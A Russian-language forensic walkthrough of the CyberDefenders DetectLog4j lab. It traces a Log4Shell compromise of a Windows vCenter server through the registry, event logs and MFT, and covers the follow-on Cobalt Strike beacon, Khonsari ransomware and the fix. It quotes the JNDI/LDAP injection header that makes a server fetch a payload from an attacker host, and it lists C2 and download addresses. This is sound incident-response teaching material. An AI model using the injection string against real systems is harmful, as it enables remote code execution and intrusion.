Хакер - Уроки форензики. Расследуем киберинцидент по следам Log4Shell
hacker_frei
rayhunt454
Содержание статьи
- План исследования
- Получение информации об объекте исследования
- Поиск точки входа
- Методы постэксплуатации
- Сохранение постоянства в системе
- Устранение уязвимости
- Заключение
В этой статье я покажу ход расследования киберинцидента на примере лабораторной работы DetectLog4j с ресурса CyberDefenders. Мы научимся извлекать артефакты из образа диска Windows, анализировать их и с использованием этих данных выясним, как злоумышленник скомпрометировал систему.
В библиотеке журналирования Java Log4j (версия 2) был обнаружен эксплоит 0-day, который приводит к удаленному выполнению кода через регистрацию определенной строки. Эта уязвимость получила название Log4Shell и идентификатор CVE-2021-44228. Библиотека Log4j используется во многих продуктах, точное количество и перечень которых установить невозможно. В этой лабораторной работе мы научимся обнаруживать эксплуатацию уязвимости Log4Shell и исследовать артефакты, которые свидетельствуют о ее использовании.
По сценарию злоумышленники взломали веб‑сервер и получили полный контроль над ним. Специалисты по реагированию на инциденты сделали побитовую копию системного диска скомпрометированной машины на базе операционной системы Windows. Загрузим файл образа и начнем его исследование.
По результатам решения кейса необходимо ответить на ряд вопросов, но я покажу сам процесс решения и не буду подсвечивать ответы. Ты можешь повторить все самостоятельно, чтобы лучше разобраться и закрепить материал.
ПЛАН ИССЛЕДОВАНИЯ
Проанализируем следующие артефакты операционной системы Windows:
- Файлы реестра
SAM,SOFTWARE,SYSTEM, которые расположены в каталогеC:\Windows\System32\config. - Файлы логов операционной системы. Они находятся в каталоге
C:\Windows\System32\winevt\Logs. - Файлы логов продукта VMware vCenter Server.
- User Registry Hives — файл
NTUSER.DAT, содержащий информацию, связанную с действием пользователя. ФайлыNTUSER.DATхранятся в каталоге%userprofile%. - MFT (главная таблица файлов) — системный файл, содержащий метаданные объекта файловой системы. Этот файл расположен в корне каждого раздела NTFS, выгрузить его можно с помощью FTK Imager или R-Studio.
Расследование разделим на несколько этапов:
- Получение информации об объекте исследования.
- Поиск точки входа в систему. На этом этапе выясним, как злоумышленник скомпрометировал систему и какие вредоносные файлы использовал.
- Поиск способа закрепления. Выясним, как злоумышленники обеспечили себе постоянный доступ к системе.
Используемые утилиты:
- Утилиты EricZimmerman: Registry Explorer, MFTECmd.
- Утилиты NirSoft: FullEventLogView.
- R-Studio — утилита для восстановления данных с диска.
- Jadx — утилита для создания исходного кода Java из файлов Android Dex и Apk.
- DIE — программа для определения типов файлов.
- FTK Imager — инструмент для анализа и получения образов диска.
ПОЛУЧЕНИЕ ИНФОРМАЦИИ ОБ ОБЪЕКТЕ ИССЛЕДОВАНИЯ
Файл образа диска DetectLog4Shell.E01 записан в формате Expert Witness Format (EWF) и содержит побитовую копию данных. Сделать цифровую копию диска в этом формате можно с помощью утилиты EnCase. Примонтируем исследуемый диск в Windows и извлечем из него артефакты, необходимые для расследования инцидента.
Откроем утилиту FTK Imager и примонтируем образ диска. Для этого переходим на вкладку File → Image Mounting. В поле Image File выбираем образ Webserver.e01 и вводим настройки, указанные ниже.

Нажимаем Mount. Исследуемый образ должен примонтироваться, и мы увидим следующую информацию.

Мы не можем получить доступ к системным файлам, поскольку нам не хватает для этого разрешений. Воспользуемся утилитой R-Studio и выгрузим файлы реестра SYSTEM, SAM, SOFTWARE, расположенные в каталоге %WINDOWS%/Windows/System32/config/.
Мы получим информацию из куста реестра SYSTEM. Загрузим ее в утилиту Registry Explorer, нажмем File → Load hive, затем выберем исследуемый файл. Информация о временной зоне хранится в ключе TimeZoneKeyName, расположенном в ветви ControlSet001\Control\TimeZoneInformation.

Временные метки во временной зоне — Pacific Standart Time (UTC-8). Имя компьютера хранится в ключе Windows\System32\config\SYSTEM: ControlSet001\Control\ComputerName\ComputerName.

Информация об IP-адресе машины расположена в ключе ControlSet001\Services\Tcpip\Parameters\Interfaces\{ea202436-8a31-4cb6-9b59-5be0c2bc1692}, где {ea202436-8a31-4cb6-9b59-5be0c2bc1692} — идентификатор адаптера. Документация об этом ключе реестра есть на сайте Microsoft.

Флаг EnabledDHCP означает, что сетевой адрес выдается сервером DHCP 192.168.112.254. IP-адрес хоста — 192.168.112.139.
В ключе ControlSet001\Services\Tcpip\Parameters хранится информация о доменном имени компьютера.

Доменное имя компьютера — cyberdefenders.org. Проанализируем ветку реестра SOFTWARE, чтобы получить информацию об операционной системе. Загрузим эту ветку реестра в утилиту Reg Explorer. В ключе Microsoft\Windows NT\CurrentVersion содержится версия операционной системы и текущий номер сборки.

Объект нашего исследования — операционная система Windows Server 2016 Standard Evaluation, версия сборки — 14393.
Теперь получим информацию обо всех установленных приложениях. Для этого заходим в ключ реестра Microsoft\Windows\CurrentVersion\Uninstall, который хранит информацию об установленных программах. Находим интересующий нас продукт, в нашем случае VMware.

На скомпрометированной машине установлен VMware vCenter Server, версия установленного продукта — 6.7.0.40322. Файлы программы располагаются в папке Program Files\VMware\vCenter Server.
Теперь найдем версию библиотеки логирования Log4j. Для этого переходим в каталог Program Files\VMware\vCenter Server\VMware Identity Services и ищем файл log4j-core-2.11.2.jar. Версия библиотеки — 2.11.2. В этом же каталоге хранится файл конфигурации log4j2.xml, который содержит уровень логирования журнала библиотеки Log4j2.

Проанализируем ветку реестра SAM, чтобы узнать информацию о пользователях. В ключе SAM\Domains\Account\Users хранится вся информация о пользователях системы.

В списке юзеров мы обнаруживаем учетные записи myoussef и mhasan. Дата создания пользователя myoussef — 2021-12-28 06:57:23 UTC. О пользователе mhasan есть следующая информация, и в ней хранится подсказка о пароле пользователя.

INFO
Чтобы автоматизировать анализ файлов реестра, можно воспользоваться библиотекой Registry для Python3. Она позволяет получать необходимую для анализа информацию из ключей реестра операционной системы.
ПОИСК ТОЧКИ ВХОДА
Мы выяснили, что на скомпрометированной машине установлен продукт VMware vCenter Server. Найдем его логи и начнем их исследовать. Нам известно, что злоумышленники эксплуатировали уязвимость CVE-2021-44228 Log4Shell. Здесь подробно описана схема атаки.
Уязвимость в продукте VMware vCenter Server версии 6.7 находится в заголовке X-Forwarded-For на странице входа https://<адрес хоста>/websso/SAML2/SSO/<ДНС-имя хоста>?SAMLRequest=, где в качестве полезной нагрузки передается строка X-Forwarded-For: \\${jndi:ldap://<ДНС-адрес злоумышленника>:1389/payload}. После установки соединения с сервером злоумышленника по протоколу LDAP загружается вредоносная нагрузка, которую выполняет Powershell.exe.
Проанализируем логи VMware vCenter Server, расположенные в каталоге ProgramData\VMware\vCenterServer\runtime\VMwareSTSService\logs.
В момент, соответствующий временной отметке 28.12.2021 в 12:39:28 UTC, обнаружен успешный вход пользователя administrator@vsphere.local.

Начиная с 29.12.2021 01:50:06 UTC обнаружены попытки эксплуатации уязвимости Log4Shell в системе.

Злоумышленник в качестве нагрузки использовал адрес log4shell.huntress.com:1389/b1292f3c-a652-4240-8fb4-59c43141f55a, чтобы определить, уязвим ли установленный в системе продукт VMware vCenter Server.
Источником атаки служит компьютер с IP-адресом 192.168.112.128. После успешной компрометации была загружена полезная нагрузка с IP-адреса атакующего ldap://192.168.112.128/0=tomcat.
В результате анализа логов VMware vCenter Server версии 6.7 мы обнаружили точку входа злоумышленников в сеть организации.
МЕТОДЫ ПОСТЭКСПЛУАТАЦИИ
Мы выяснили, что злоумышленник проэксплуатировал уязвимость CVE-2021-44228 в продукте VMware vCenter Server 29.12.2021 в 01.50.50 UTC. Загрузим логи операционной системы, для этого откроем утилиту FullEventLogView, нажмем File → Choose Data Source и выберем каталог, в который выгрузили логи из папки Windows\System32\winev\Logs исследуемого образа. Затем перейдем на вкладку Options → Advanced Options и выберем интересующее нас время 29.12.2021 01:50 UTC.

Найдем события powershell.exe. В 02:09:51 29.12.2021 UTC злоумышленниками выполнен код командной оболочки Powershell.exe.

Следующим этапом эта полезная нагрузка декодируется и выполняется. Также при анализе логов мы обнаружили следующий код.

Полезная нагрузка декодируется по алгоритму Base64, а далее распаковывается с использованием gzip. Для преобразования перейдем на сайт CyberChef, выберем From Base64 -> Gunzip, загрузим представленные выше закодированные данные и продолжим анализ.

В переменной $var_code содержится шелл‑код, который выполняется в Powershell.exe. Выполним данный скрипт, чтобы обнаружить адрес управляющего центра. Для этого откроем утилиту ProcessHacker2, перейдем на вкладку Network и найдем процесс Powershell.exe.

Нагрузка взаимодействует с управляющим сервером 192.168.112.128 по порту 1337 и представляет собой обратную оболочку для фреймворка Cobalt Strike.
СОХРАНЕНИЕ ПОСТОЯНСТВА В СИСТЕМЕ
Проанализируем реестр, чтобы понять, как злоумышленники закрепились в системе. В ветке NTUSER.dat пользователя Administrator.WIN-B633EO9K91M в ключе SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce мы обнаруживаем имя исполняемого файла.

Для закрепления в системе злоумышленники использовали исполняемый файл baaaackdooor.exe. Данный файл по его пути мы найти не смогли, но с помощью сканирования антивирусными средствами обнаружили вредоносный файл C:\khonsari.exe. Получим временную метку его создания и исследуем его.
Разберем, в какое время был создан файл khonsari.exe. Для этого с использованием утилиты R-Studio откроем примонтированный виртуальный диск, найдем в корне файл $MFT и выгрузим его.

Воспользуемся инструментом MFTECmd.exe и получим информацию об объектах файловой системы в файл CSV.
MFTECmd.exe -f $MFT --csv .\RESULT\MFT
Мы получили файл, содержащий пути ко всем объектам файловой системы, а также метки времени. С использованием поиска найдем файл khonsari.exe. Все метки времени в таблице MFT используют часовой пояс UTC.
Через поиск найдем исследуемый файл — он создан 2021-12-29 02:15:56 UTC.

Также в файле MFT обнаружена дата создания файла khonsari.dmp и путь к нему.

Полученные данные свидетельствуют о том, что вредоносный файл запущен от имени учетной записи Administrator.WIN-B633EO9K91M, при своей работе он получил ошибку, и дамп работы сохранен на диске.
Получим MD5-хеш исполняемого файла khonsari.exe и найдем его на VirusTotal: 6ac57a1e090e7abdb9b7212e058c43c6, имя файла khonsari.exe. В отчете VirusTotal обнаружена первая дата загрузки вредоносного файла: 2021-12-11 22:57:01 UTC. Файл определяется антивирусными средствами следующим образом.

Получим информацию о вредоносном файле, для этого воспользуемся утилитой DIE.

Приложение написано на C#. Декомпилируем исполняемый файл. Для этого можно воспользоваться утилитой DnSpy или ILSpy. Найдем функцию main и разберем функциональность. Код приложения обфусцирован.

Первым делом загружается текстовый файл с адреса, указанного в переменной text. Эта строка преобразуется операцией XOR с ключом в переменной text2="GoaahQrC. После декодирования загружается файл с ресурса http://3.145.115.94/zambos_caldo_de_p.txt. Провайдер IP-адреса 3.145.115.94 — Amazon Technologies Inc.
Далее вредоносный исполняемый файл khonsari.exe получает информацию о каталогах пользователя и начинает шифровать файлы по алгоритму AES. Каждому зашифрованному файлу присваивается расширение .khonsari. Перед шифрованием расширение файла проверяется по алгоритму, реализованному в функции LxqQxinF. Все файлы с расширениями .ini и .khonsari не шифруются программой‑вымогателем.
Исследуемый нами файл был запущен 29.12.2021 02:17:18, но в результате сбоя он не сработал в скомпрометированной системе.

Дамп сбойного приложения также можно найти в каталоге C:\ProgramData\Microsoft\Windows\WER\ReportArchive\.
INFO
Когда приложение аварийно завершает свое выполнение в Windows, механизм отчетов об ошибках WER собирает подробную отладочную информацию об исполняемом файле. Дамп содержит имя приложения и загружаемые модули. Этот механизм — один из важных артефактов операционной системы, который необходимо анализировать.
Чтобы сохранить постоянное присутствие в системе, злоумышленники использовали ключ реестра SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce ветки NTUSER.dat пользователя Administrator.WIN-B633EO9K91M. После этого они загрузили программу‑вымогатель C:\khonsari.exe.
УСТРАНЕНИЕ УЯЗВИМОСТИ
Для устранения уязвимости CVE-2021-44228 в продуктах VMware VCenter Server версии 6.7 необходимо провести обновление 3q сборки 19300125. Если обновиться невозможно, следует воспользоваться сценарием, который публикует компания VMware.
В целях обновления используется скрипт vc_log4j_mitigator.py, который остановит службы vCenter Server, запустит Java-файлы с флагом log4j2.formatMsgNoLookups=true, распакует файл log4j-core-2.x.x.jar и удалит JndiLookup.class из всех файлов jar/war на устройстве. Первоначальная проблема в библиотеке Log4j была устранена в версии 2.15.0.
Проанализируем файл log4j-core-2.11.2.jar. Для этого переименуем его в формат ZIP и выгрузим файл org/apache/logging/log4j/core/lookup/JndiLookup.class (sha256:0f038a1e0aa0aff76d66d1440c88a2b35a3d023ad8b2e3bac8e25a3208499f7e). Откроем его в утилите jadx и найдем значение, хранящееся в переменной CONTAINER_JNDI_RESOURCE_PATH_PREFIX=java:comp/env/.

ЗАКЛЮЧЕНИЕ
По результатам решения лабораторной работы мы научились извлекать из операционной системы Windows артефакты, необходимые для расследования инцидента. Проанализировали реестр и получили первичную информацию об объекте исследования, проанализировали логи VMware vCenter Server версии 6.7 и обнаружили эксплуатацию уязвимости Log4Shell (CVE-2021-44228). Источником компьютерной атаки был хост с IP-адресом 192.168.112.128, время начала атаки — 29.12.2021 в 01.50.50 UTC.
Далее мы обнаружили загруженную на взломанную машину полезную нагрузку — PowerShell-маячок фреймворка Cobalt Strike. Мы выявили метод закрепления в системе и нашли загруженную злоумышленником программу‑вымогатель. Наконец, мы нашли методы устранения уязвимости Log4Shell в продуктах VMware vCenter Server.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei